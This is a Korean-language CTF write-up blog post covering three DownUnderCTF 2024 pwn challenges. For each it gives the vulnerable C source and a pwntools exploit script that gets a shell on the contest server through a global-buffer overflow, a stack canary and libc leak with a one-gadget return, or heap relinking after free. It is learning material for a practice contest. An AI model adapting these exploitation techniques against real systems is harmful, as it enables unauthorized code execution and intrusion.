[ solved ]
pwn / vector overflow
더보기
#include <cstdlib>
#include <iostream>
#include <string>
#include <vector>
char buf[16];
std::vector<char> v = {'X', 'X', 'X', 'X', 'X'};
void lose() {
puts("Bye!");
exit(1);
}
void win() {
system("/bin/sh");
exit(0);
}
int main() {
char ductf[6] = "DUCTF";
char* d = ductf;
std::cin >> buf;
if(v.size() == 5) {
for(auto &c : v) {
if(c != *d++) {
lose();
}
}
win();
}
lose();
}
대충 디버거로 보고 벡터 v의 주소를 바꿔줬다.
buf+5는 디버깅할 때 보니 주소에 +5한 값들이 있길래 맞춰줬다.
from pwn import *
p = process('./vector_overflow')
p = remote('2024.ductf.dev', 30013)
buf = 0x4051e0
p.sendline(b'DUCTF\x00'.ljust(16,b'\x00') + p64(buf) + p64(buf+5) + p64(buf+5))
p.interactive()
pwn / yawa
더보기
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int menu() {
int choice;
puts("1. Tell me your name");
puts("2. Get a personalised greeting");
printf("> ");
scanf("%d", &choice);
return choice;
}
int main() {
init();
char name[88];
int choice;
while(1) {
choice = menu();
if(choice == 1) {
read(0, name, 0x88);
} else if(choice == 2) {
printf("Hello, %s\n", name);
} else {
break;
}
}
}
간단한 bof 문제로 원샷 가젯 이용했다.
from pwn import *
# p = process('./yawa')
p = remote('2024.ductf.dev', 30010)
def read_name(data):
p.sendlineafter(b'>',b'1')
p.send(data)
def print_name():
p.sendlineafter(b'>',b'2')
read_name(b'A'*89)
print_name()
p.recvuntil(b'A'*89)
canary = u64(b'\x00'+p.recvn(7))
print('[canary]',hex(canary))
read_name(b'A'*104)
print_name()
p.recvuntil(b'A'*104)
libc = u64(p.recvn(6)+b'\x00'*2) - 0x29d90
print('[libc]',hex(libc))
rw_area = libc + 0x21a380
og = libc + 0xebc88
read_name(b'A'*88 + p64(canary) + p64(rw_area) + p64(og))
p.sendlineafter(b'>',b'0')
p.interactive()
[ unsolved ]
pwn / sign in
더보기
거의 다 풀었는데 마지막에 발상의 전환을 못해서 못 푼 문제..
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/random.h>
typedef struct {
long uid;
char username[8];
char password[8];
} user_t;
typedef struct user_entry user_entry_t;
struct user_entry {
user_t* user;
user_entry_t* prev;
user_entry_t* next;
};
user_entry_t user_list;
long UID = 1;
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int menu() {
int choice;
puts("1. Sign up");
puts("2. Sign in");
puts("3. Remove account");
puts("4. Get shell");
printf("> ");
scanf("%d", &choice);
return choice;
}
void sign_up() {
user_t* user = malloc(sizeof(user_t));
user_entry_t* entry = malloc(sizeof(user_entry_t));
user->uid = UID++;
printf("username: ");
read(0, user->username, 8);
printf("password: ");
read(0, user->password, 8);
entry->user = user;
user_entry_t* curr = &user_list;
while(curr->next) {
curr = curr->next;
}
entry->prev = curr;
curr->next = entry;
}
void remove_account(int uid) {
user_entry_t* curr = &user_list;
do {
if(curr->user->uid == uid) {
if(curr->prev) {
curr->prev->next = curr->next;
}
if(curr->next) {
curr->next->prev = curr->prev;
}
free(curr->user);
free(curr);
break;
}
curr = curr->next;
} while(curr);
}
long sign_in() {
char username[9] = {0};
char password[9] = {0};
printf("username: ");
read(0, username, 8);
printf("password: ");
read(0, password, 8);
user_entry_t* curr = &user_list;
do {
if(memcmp(curr->user->username, username, 8) == 0 && memcmp(curr->user->password, password, 8) == 0) {
printf("Logging in as %s\n", username);
return curr->user->uid;
}
curr = curr->next;
} while(curr);
return -1;
}
int main() {
init();
long uid = -1;
user_t root = {
.uid = 0,
.username = "root",
};
if(getrandom(root.password, 8, 0) != 8) {
exit(1);
}
user_list.next = NULL;
user_list.prev = NULL;
user_list.user = &root;
while(1) {
int choice = menu();
if(choice == 1) {
sign_up();
} else if(choice == 2) {
uid = sign_in();
if(uid == -1) {
puts("Invalid username or password!");
}
} else if(choice == 3) {
if(uid == -1) {
puts("Please sign in first!");
} else {
remove_account(uid);
uid = -1;
}
} else if(choice == 4) {
if(uid == 0) {
system("/bin/sh");
} else {
puts("Please sign in as root first!");
}
} else {
exit(1);
}
}
}
구조체 2개가 멤버까지 동일한 사이즈이다.
해제하는 순서와 할당받는 순서가 다르기 때문에 password가 next로 되는 상황이 발생한다.
이를 이용해서 next가 가리키는 곳이 0을 가리키는 포인터가 된다면 uid를 0으로 만들 수 있겠다.
gef의 dump memory를 사용해서 바이너리에 존재하는 포인터들을 싹 확인해준다.
dump memory <output_file_name> <start_address> <end_address>
dump memory bin_dump 0x0000000000400000 0x0000000000405000
덤프 뜬 부분에서 0을 가리키는 포인터를 찾아준다.
from pwn import *
f = open('./bin_dump','rb')
data = f.read()
f.close()
for i in range(0,len(data),8):
value = u64(data[i:i+8])
if 0x400000 <= value <= 0x405000:
if u64(data[value-0x400000:value-0x400000+8]) == 0:
print(hex(i),hex(value))
from pwn import *
# context.log_level = 'debug'
p = process('./sign-in')
p = remote('2024.ductf.dev', 30022)
def Signup(username,password):
p.sendlineafter(b'>',b'1')
p.sendafter(b'username',username)
p.sendafter(b'password',password)
def Signin(username,password):
p.sendlineafter(b'>',b'2')
p.sendafter(b'username',username)
p.sendafter(b'password',password)
def Remove():
p.sendlineafter(b'>',b'3')
def Shell():
p.sendlineafter(b'>',b'4')
user_list = 0x4040b0
Signup(b'z'*8,p64(0x403eb8))
Signin(b'z'*8,p64(0x403eb8))
Remove()
Signup(b'a'*8,b'a'*8)
Signin(p64(0),p64(0))
Shell()
p.interactive()
(나머지는 열어보지도 못했어서 시간 날 때 라업 보면서 풀어볼 예정)
'CTF' 카테고리의 다른 글
DeadSec CTF 2024 (Pwn) (0) | 2024.07.28 |
---|---|
ImaginaryCTF 2024 (Pwn) (5) | 2024.07.22 |
[hxpCTF 2020] kernel-rop (with write-up) (2) (0) | 2024.06.30 |
[hxpCTF 2020] kernel-rop (with write-up) (1) (0) | 2024.06.22 |
BYUCTF 2024 (Pwn) (0) | 2024.05.19 |